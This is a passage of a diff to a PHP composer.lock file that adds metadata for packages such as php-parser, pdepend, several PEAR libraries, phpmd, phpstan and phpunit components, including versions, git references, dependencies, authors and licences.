+ "psr-4": { + "PhpParser\\": "lib/PhpParser" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Nikita Popov" + } + ], + "description": "A PHP parser written in PHP", + "keywords": [ + "parser", + "php" + ], + "support": { + "issues": "https://github.com/nikic/PHP-Parser/issues", + "source": "https://github.com/nikic/PHP-Parser/tree/v5.0.0" + }, + "time": "2024-01-07T17:17:35+00:00" + }, + { + "name": "pdepend/pdepend", + "version": "2.16.2", + "source": { + "type": "git", + "url": "https://github.com/pdepend/pdepend.git", + "reference": "f942b208dc2a0868454d01b29f0c75bbcfc6ed58" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pdepend/pdepend/zipball/f942b208dc2a0868454d01b29f0c75bbcfc6ed58", + "reference": "f942b208dc2a0868454d01b29f0c75bbcfc6ed58", + "shasum": "" + }, + "require": { + "php": ">=5.3.7", + "symfony/config": "^2.3.0|^3|^4|^5|^6.0|^7.0", + "symfony/dependency-injection": "^2.3.0|^3|^4|^5|^6.0|^7.0", + "symfony/filesystem": "^2.3.0|^3|^4|^5|^6.0|^7.0", + "symfony/polyfill-mbstring": "^1.19" + }, + "require-dev": { + "easy-doc/easy-doc": "0.0.0|^1.2.3", + "gregwar/rst": "^1.0", + "squizlabs/php_codesniffer": "^2.0.0" + }, + "bin": [ + "src/bin/pdepend" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.x-dev" + } + }, + "autoload": { + "psr-4": { + "PDepend\\": "src/main/php/PDepend" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "description": "Official version of pdepend to be handled with Composer", + "keywords": [ + "PHP Depend", + "PHP_Depend", + "dev", + "pdepend" + ], + "support": { + "issues": "https://github.com/pdepend/pdepend/issues", + "source": "https://github.com/pdepend/pdepend/tree/2.16.2" + }, + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/pdepend/pdepend", + "type": "tidelift" + } + ], + "time": "2023-12-17T18:09:59+00:00" + }, + { + "name": "pear/archive_tar", + "version": "1.4.14", + "source": { + "type": "git", + "url": "https://github.com/pear/Archive_Tar.git", + "reference": "4d761c5334c790e45ef3245f0864b8955c562caa" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/Archive_Tar/zipball/4d761c5334c790e45ef3245f0864b8955c562caa", + "reference": "4d761c5334c790e45ef3245f0864b8955c562caa", + "shasum": "" + }, + "require": { + "pear/pear-core-minimal": "^1.10.0alpha2", + "php": ">=5.2.0" + }, + "require-dev": { + "phpunit/phpunit": "*" + }, + "suggest": { + "ext-bz2": "Bz2 compression support.", + "ext-xz": "Lzma2 compression support.", + "ext-zlib": "Gzip compression support." + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.4.x-dev" + } + }, + "autoload": { + "psr-0": { + "Archive_Tar": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "./" + ], + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Vincent Blavet", + "email": "vincent@phpconcept.net" + }, + { + "name": "Greg Beaver", + "email": "greg@chiaraquartet.net" + }, + { + "name": "Michiel Rook", + "email": "mrook@php.net" + } + ], + "description": "Tar file management class with compression support (gzip, bzip2, lzma2)", + "homepage": "https://github.com/pear/Archive_Tar", + "keywords": [ + "archive", + "tar" + ], + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Archive_Tar", + "source": "https://github.com/pear/Archive_Tar" + }, + "funding": [ + { + "url": "https://github.com/mrook", + "type": "github" + }, + { + "url": "https://www.patreon.com/michielrook", + "type": "patreon" + } + ], + "time": "2021-07-20T13:53:39+00:00" + }, + { + "name": "pear/console_getopt", + "version": "v1.4.3", + "source": { + "type": "git", + "url": "https://github.com/pear/Console_Getopt.git", + "reference": "a41f8d3e668987609178c7c4a9fe48fecac53fa0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/Console_Getopt/zipball/a41f8d3e668987609178c7c4a9fe48fecac53fa0", + "reference": "a41f8d3e668987609178c7c4a9fe48fecac53fa0", + "shasum": "" + }, + "type": "library", + "autoload": { + "psr-0": { + "Console": "./" + } + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "./" + ], + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Andrei Zmievski", + "email": "andrei@php.net", + "role": "Lead" + }, + { + "name": "Stig Bakken", + "email": "stig@php.net", + "role": "Developer" + }, + { + "name": "Greg Beaver", + "email": "cellog@php.net", + "role": "Helper" + } + ], + "description": "More info available on: http://pear.php.net/package/Console_Getopt", + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Console_Getopt", + "source": "https://github.com/pear/Console_Getopt" + }, + "time": "2019-11-20T18:27:48+00:00" + }, + { + "name": "pear/mail", + "version": "v1.6.0", + "source": { + "type": "git", + "url": "https://github.com/pear/Mail.git", + "reference": "4fda3292ac6bf226d8841cfd8ee3cf4e28395c01" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/Mail/zipball/4fda3292ac6bf226d8841cfd8ee3cf4e28395c01", + "reference": "4fda3292ac6bf226d8841cfd8ee3cf4e28395c01", + "shasum": "" + }, + "require": { + "pear/pear-core-minimal": "~1.9", + "php": ">=5.2.1" + }, + "require-dev": { + "pear/pear": "*" + }, + "suggest": { + "pear/net_smtp": "Install optionally via your project's composer.json" + }, + "type": "library", + "autoload": { + "psr-0": { + "Mail": "./" + } + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "./" + ], + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Chuck Hagenbuch", + "email": "chuck@horde.org", + "role": "Lead" + }, + { + "name": "Armin Graefe", + "email": "schengawegga@gmail.com", + "role": "Lead" + }, + { + "name": "Richard Heyes", + "email": "richard@phpguru.org", + "role": "Developer" + }, + { + "name": "Aleksander Machniak", + "email": "alec@alec.pl", + "role": "Developer" + } + ], + "description": "Class that provides multiple interfaces for sending emails.", + "homepage": "http://pear.php.net/package/Mail", + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Mail", + "source": "https://github.com/pear/Mail" + }, + "time": "2023-11-01T21:31:59+00:00" + }, + { + "name": "pear/mail_mime", + "version": "1.10.11", + "source": { + "type": "git", + "url": "https://github.com/pear/Mail_Mime.git", + "reference": "d4fb9ce61201593d0f8c6db629c45e29c3409c14" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/Mail_Mime/zipball/d4fb9ce61201593d0f8c6db629c45e29c3409c14", + "reference": "d4fb9ce61201593d0f8c6db629c45e29c3409c14", + "shasum": "" + }, + "require": { + "pear/pear-core-minimal": "*", + "php": ">=5.2.0" + }, + "type": "library", + "autoload": { + "psr-0": { + "Mail": "./" + } + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "./" + ], + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Cipriano Groenendal", + "email": "cipri@php.net", + "role": "Lead" + }, + { + "name": "Aleksander Machniak", + "email": "alec@php.net", + "role": "Lead" + } + ], + "description": "Mail_Mime provides classes to create MIME messages", + "homepage": "http://pear.php.net/package/Mail_Mime", + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Mail_Mime", + "source": "https://github.com/pear/Mail_Mime" + }, + "time": "2021-09-05T08:42:45+00:00" + }, + { + "name": "pear/net_ftp", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://github.com/pear/Net_FTP.git", + "reference": "b5bd376359df4b9ef9c3140a21d2d2e790c9bdb7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/Net_FTP/zipball/b5bd376359df4b9ef9c3140a21d2d2e790c9bdb7", + "reference": "b5bd376359df4b9ef9c3140a21d2d2e790c9bdb7", + "shasum": "" + }, + "require": { + "pear/pear_exception": "*" + }, + "require-dev": { + "phpunit/phpunit": "*" + }, + "default-branch": true, + "type": "library", + "autoload": { + "psr-0": { + "Net": "./" + } + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "./" + ], + "license": [ + "PHP License" + ], + "authors": [ + { + "name": "Jorrit Schippers", + "email": "jschippers@php.net", + "role": "Lead" + }, + { + "name": "Tobias Schlitt", + "email": "toby@php.net", + "role": "Lead" + } + ], + "description": "More info available on: http://pear.php.net/package/Net_FTP", + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_FTP", + "source": "https://github.com/pear/Net_FTP" + }, + "time": "2023-10-18T12:09:44+00:00" + }, + { + "name": "pear/net_growl", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://github.com/pear/Net_Growl.git", + "reference": "9e828a6dde4f85337358209bd98bd260a558e4a9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/Net_Growl/zipball/9e828a6dde4f85337358209bd98bd260a558e4a9", + "reference": "9e828a6dde4f85337358209bd98bd260a558e4a9", + "shasum": "" + }, + "require": { + "pear/pear_exception": "*", + "php": ">=5.6" + }, + "require-dev": { + "phpunit/phpunit": "<6.0" + }, + "default-branch": true, + "type": "library", + "autoload": { + "psr-0": { + "Net": "./" + } + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "./" + ], + "license": [ + "BSD License" + ], + "authors": [ + { + "name": "Laurent Laville", + "email": "pear@laurent-laville.org", + "role": "Lead" + }, + { + "name": "Bertrand Mansion", + "email": "bmansion@mamasam.com", + "role": "Lead" + }, + { + "name": "Brian Dunnington", + "role": "Helper" + } + ], + "description": "More info available on: http://pear.php.net/package/Net_Growl", + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_Growl", + "source": "https://github.com/pear/Net_Growl" + }, + "time": "2019-03-05T14:25:46+00:00" + }, + { + "name": "pear/pear-core-minimal", + "version": "v1.10.14", + "source": { + "type": "git", + "url": "https://github.com/pear/pear-core-minimal.git", + "reference": "a86fc145edb5caedbf96527214ce3cadc9de4a32" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/pear-core-minimal/zipball/a86fc145edb5caedbf96527214ce3cadc9de4a32", + "reference": "a86fc145edb5caedbf96527214ce3cadc9de4a32", + "shasum": "" + }, + "require": { + "pear/console_getopt": "~1.4", + "pear/pear_exception": "~1.0", + "php": ">=5.4" + }, + "replace": { + "rsky/pear-core-min": "self.version" + }, + "type": "library", + "autoload": { + "psr-0": { + "": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "src/" + ], + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Christian Weiske", + "email": "cweiske@php.net", + "role": "Lead" + } + ], + "description": "Minimal set of PEAR core files to be used as composer dependency", + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=PEAR", + "source": "https://github.com/pear/pear-core-minimal" + }, + "time": "2023-11-26T16:15:38+00:00" + }, + { + "name": "pear/pear_exception", + "version": "v1.0.2", + "source": { + "type": "git", + "url": "https://github.com/pear/PEAR_Exception.git", + "reference": "b14fbe2ddb0b9f94f5b24cf08783d599f776fff0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/PEAR_Exception/zipball/b14fbe2ddb0b9f94f5b24cf08783d599f776fff0", + "reference": "b14fbe2ddb0b9f94f5b24cf08783d599f776fff0", + "shasum": "" + }, + "require": { + "php": ">=5.2.0" + }, + "require-dev": { + "phpunit/phpunit": "<9" + }, + "type": "class", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "PEAR/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "." + ], + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Helgi Thormar", + "email": "dufuz@php.net" + }, + { + "name": "Greg Beaver", + "email": "cellog@php.net" + } + ], + "description": "The PEAR Exception base class.", + "homepage": "https://github.com/pear/PEAR_Exception", + "keywords": [ + "exception" + ], + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=PEAR_Exception", + "source": "https://github.com/pear/PEAR_Exception" + }, + "time": "2021-03-21T15:43:46+00:00" + }, + { + "name": "pear/versioncontrol_git", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://github.com/pear/VersionControl_Git.git", + "reference": "c32d75d237974297f052ceb781dfc2eb817f7b59" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/VersionControl_Git/zipball/c32d75d237974297f052ceb781dfc2eb817f7b59", + "reference": "c32d75d237974297f052ceb781dfc2eb817f7b59", + "shasum": "" + }, + "require": { + "pear/pear-core-minimal": "^1.9", + "pear/pear_exception": "~1.0.0", + "php": "^7.3 || ^7.4 || ^8.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.5" + }, + "default-branch": true, + "type": "library", + "autoload": { + "psr-0": { + "VersionControl": "./" + } + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "./" + ], + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Kousuke Ebihara", + "email": "ebihara@php.net", + "role": "Lead" + } + ], + "description": "VersionControl_Git is a library that provides OO interface to handle Git repository.", + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=VersionControl_Git", + "source": "https://github.com/pear/VersionControl_Git" + }, + "time": "2023-03-22T19:55:38+00:00" + }, + { + "name": "pear/versioncontrol_svn", + "version": "0.7.0", + "source": { + "type": "git", + "url": "https://github.com/pear/VersionControl_SVN.git", + "reference": "226ec8cb136a88f5093f650193d9c1d2230d2938" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pear/VersionControl_SVN/zipball/226ec8cb136a88f5093f650193d9c1d2230d2938", + "reference": "226ec8cb136a88f5093f650193d9c1d2230d2938", + "shasum": "" + }, + "require": { + "pear/pear-core-minimal": "^1.10", + "pear/pear_exception": "*@dev", + "php": ">=5.3.0" + }, + "require-dev": { + "phpunit/phpunit": "*" + }, + "type": "library", + "autoload": { + "psr-0": { + "VersionControl_": "./" + } + }, + "notification-url": "https://packagist.org/downloads/", + "include-path": [ + "./" + ], + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Clay Loveless", + "email": "clay@loveless.net", + "role": "Lead" + }, + { + "name": "Michiel Rook", + "email": "mrook@php.net", + "role": "Lead" + } + ], + "description": "More info available on: http://pear.php.net/package/VersionControl_SVN", + "support": { + "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=VersionControl_SVN", + "source": "https://github.com/pear/VersionControl_SVN" + }, + "funding": [ + { + "url": "https://github.com/mrook", + "type": "github" + }, + { + "url": "https://www.patreon.com/michielrook", + "type": "patreon" + } + ], + "time": "2021-06-01T12:01:18+00:00" + }, + { + "name": "phar-io/manifest", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/phar-io/manifest.git", + "reference": "97803eca37d319dfa7826cc2437fc020857acb53" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/manifest/zipball/97803eca37d319dfa7826cc2437fc020857acb53", + "reference": "97803eca37d319dfa7826cc2437fc020857acb53", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-phar": "*", + "ext-xmlwriter": "*", + "phar-io/version": "^3.0.1", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", + "support": { + "issues": "https://github.com/phar-io/manifest/issues", + "source": "https://github.com/phar-io/manifest/tree/2.0.3" + }, + "time": "2021-07-20T11:28:43+00:00" + }, + { + "name": "phar-io/version", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/phar-io/version.git", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Library for handling version information and constraints", + "support": { + "issues": "https://github.com/phar-io/version/issues", + "source": "https://github.com/phar-io/version/tree/3.2.1" + }, + "time": "2022-02-21T01:04:05+00:00" + }, + { + "name": "phing/phing-composer-configurator", + "version": "dev-master", + "source": { + "type": "git", + "url": "https://github.com/phingofficial/phing-composer-configurator.git", + "reference": "4ae5639bbecc82d849374139895092de528b8803" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phingofficial/phing-composer-configurator/zipball/4ae5639bbecc82d849374139895092de528b8803", + "reference": "4ae5639bbecc82d849374139895092de528b8803", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^1.1|^2.0", + "php": ">= 7.3" + }, + "require-dev": { + "composer/composer": "~2.1.9 || ~2.3.0 || ~2.5.0", + "ergebnis/composer-normalize": "^2.0.2", + "ergebnis/phpstan-rules": "^0.14.2|^0.15.0", + "mikey179/vfsstream": "^1.6.8", + "pepakriz/phpstan-exception-rules": "^0.10.1|^0.11.0", + "phpstan/phpstan": "^0.12.4", + "phpstan/phpstan-beberlei-assert": "^0.12.2", + "phpstan/phpstan-deprecation-rules": "^0.12.1", + "phpstan/phpstan-phpunit": "^0.12.5", + "phpstan/phpstan-strict-rules": "^0.12.1", + "phpunit/phpunit": "^8.5.0|^9.4.2", + "roave/security-advisories": "dev-latest", + "squizlabs/php_codesniffer": "^3.5.3" + }, + "default-branch": true, + "type": "composer-plugin", + "extra": { + "class": [ + "Phing\\PhingComposerConfigurator\\ExtensionInstallerPlugin" + ] + }, + "autoload": { + "psr-4": { + "Phing\\PhingComposerConfigurator\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-3.0-only" + ], + "authors": [ + { + "name": "Siad Ardroumli", + "email": "siad.ardroumli@gmail.com" + }, + { + "name": "Phing Community", + "homepage": "https://github.com/phingofficial/phing/blob/master/CREDITS.md" + } + ], + "description": "PHing Is Not GNU make; it's a PHP project build system or build tool based on Apache Ant.", + "homepage": "https://www.phing.info/", + "keywords": [ + "ant", + "build", + "build-automation", + "build-tool", + "make", + "phing", + "php", + "task", + "tool" + ], + "support": { + "docs": "https://www.phing.info/docs/guide/stable/", + "irc": "irc://irc.freenode.net/phing", + "issues": "https://github.com/phingofficial/phing-composer-configurator/issues", + "slack": "https://www.phing.info/slack", + "source": "https://github.com/phingofficial/phing-composer-configurator/" + }, + "time": "2022-12-20T14:31:40+00:00" + }, + { + "name": "phpmd/phpmd", + "version": "2.15.0", + "source": { + "type": "git", + "url": "https://github.com/phpmd/phpmd.git", + "reference": "74a1f56e33afad4128b886e334093e98e1b5e7c0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpmd/phpmd/zipball/74a1f56e33afad4128b886e334093e98e1b5e7c0", + "reference": "74a1f56e33afad4128b886e334093e98e1b5e7c0", + "shasum": "" + }, + "require": { + "composer/xdebug-handler": "^1.0 || ^2.0 || ^3.0", + "ext-xml": "*", + "pdepend/pdepend": "^2.16.1", + "php": ">=5.3.9" + }, + "require-dev": { + "easy-doc/easy-doc": "0.0.0 || ^1.3.2", + "ext-json": "*", + "ext-simplexml": "*", + "gregwar/rst": "^1.0", + "mikey179/vfsstream": "^1.6.8", + "squizlabs/php_codesniffer": "^2.9.2 || ^3.7.2" + }, + "bin": [ + "src/bin/phpmd" + ], + "type": "library", + "autoload": { + "psr-0": { + "PHPMD\\": "src/main/php" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Manuel Pichler", + "email": "github@manuel-pichler.de", + "homepage": "https://github.com/manuelpichler", + "role": "Project Founder" + }, + { + "name": "Marc Würth", + "email": "ravage@bluewin.ch", + "homepage": "https://github.com/ravage84", + "role": "Project Maintainer" + }, + { + "name": "Other contributors", + "homepage": "https://github.com/phpmd/phpmd/graphs/contributors", + "role": "Contributors" + } + ], + "description": "PHPMD is a spin-off project of PHP Depend and aims to be a PHP equivalent of the well known Java tool PMD.", + "homepage": "https://phpmd.org/", + "keywords": [ + "dev", + "mess detection", + "mess detector", + "pdepend", + "phpmd", + "pmd" + ], + "support": { + "irc": "irc://irc.freenode.org/phpmd", + "issues": "https://github.com/phpmd/phpmd/issues", + "source": "https://github.com/phpmd/phpmd/tree/2.15.0" + }, + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/phpmd/phpmd", + "type": "tidelift" + } + ], + "time": "2023-12-11T08:22:20+00:00" + }, + { + "name": "phpstan/phpstan", + "version": "1.10.58", + "source": { + "type": "git", + "url": "https://github.com/phpstan/phpstan.git", + "reference": "a23518379ec4defd9e47cbf81019526861623ec2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/a23518379ec4defd9e47cbf81019526861623ec2", + "reference": "a23518379ec4defd9e47cbf81019526861623ec2", + "shasum": "" + }, + "require": { + "php": "^7.2|^8.0" + }, + "conflict": { + "phpstan/phpstan-shim": "*" + }, + "bin": [ + "phpstan", + "phpstan.phar" + ], + "type": "library", + "autoload": { + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "PHPStan - PHP Static Analysis Tool", + "keywords": [ + "dev", + "static analysis" + ], + "support": { + "docs": "https://phpstan.org/user-guide/getting-started", + "forum": "https://github.com/phpstan/phpstan/discussions", + "issues": "https://github.com/phpstan/phpstan/issues", + "security": "https://github.com/phpstan/phpstan/security/policy", + "source": "https://github.com/phpstan/phpstan-src" + }, + "funding": [ + { + "url": "https://github.com/ondrejmirtes", + "type": "github" + }, + { + "url": "https://github.com/phpstan", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpstan/phpstan", + "type": "tidelift" + } + ], + "time": "2024-02-12T20:02:57+00:00" + }, + { + "name": "phpunit/php-code-coverage", + "version": "9.2.30", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-code-coverage.git", + "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/ca2bd87d2f9215904682a9cb9bb37dda98e76089", + "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "ext-xmlwriter": "*", + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=7.3", + "phpunit/php-file-iterator": "^3.0.3", + "phpunit/php-text-template": "^2.0.2", + "sebastian/code-unit-reverse-lookup": "^2.0.2", + "sebastian/complexity": "^2.0", + "sebastian/environment": "^5.1.2", + "sebastian/lines-of-code": "^1.0.3", + "sebastian/version": "^3.0.1", + "theseer/tokenizer": "^1.2.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-pcov": "PHP extension that provides line coverage", + "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "9.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", + "homepage": "https://github.com/sebastianbergmann/php-code-coverage", + "keywords": [ + "coverage", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", + "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", + "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.30" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T06:47:57+00:00" + }, + { + "name": "phpunit/php-file-iterator", + "version": "3.0.6", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-file-iterator.git", + "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", + "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "FilterIterator implementation that filters files based on a list of suffixes.", + "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", + "keywords": [ + "filesystem", + "iterator" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", + "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/3.0.6" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2021-12-02T12:48:52+00:00" + }, + { + "name": "phpunit/php-invoker", + "version": "3.1.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-invoker.git", + "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/5a10147d0aaf65b58940a0b72f71c9ac0423cc67", + "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "ext-pcntl": "*", + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-pcntl": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Invoke callables with a timeout", + "homepage": "https://github.com/sebastianbergmann/php-invoker/", + "keywords": [ + "process" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-invoker/issues", + "source": "https://github.com/sebastianbergmann/php-invoker/tree/3.1.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T05:58:55+00:00" + }, + { + "name": "phpunit/php-text-template", + "version": "2.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-text-template.git", + "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", + "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Simple template engine.", + "homepage": "https://github.com/sebastianbergmann/php-text-template/", + "keywords": [ + "template" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/php-text-template/issues", + "source": "https://github.com/sebastianbergmann/php-text-template/tree/2.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T05:33:50+00:00" + }, + { + "name": "phpunit/php-timer", + "version": "5.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-timer.git", + "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", + "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Utility class for timing", + 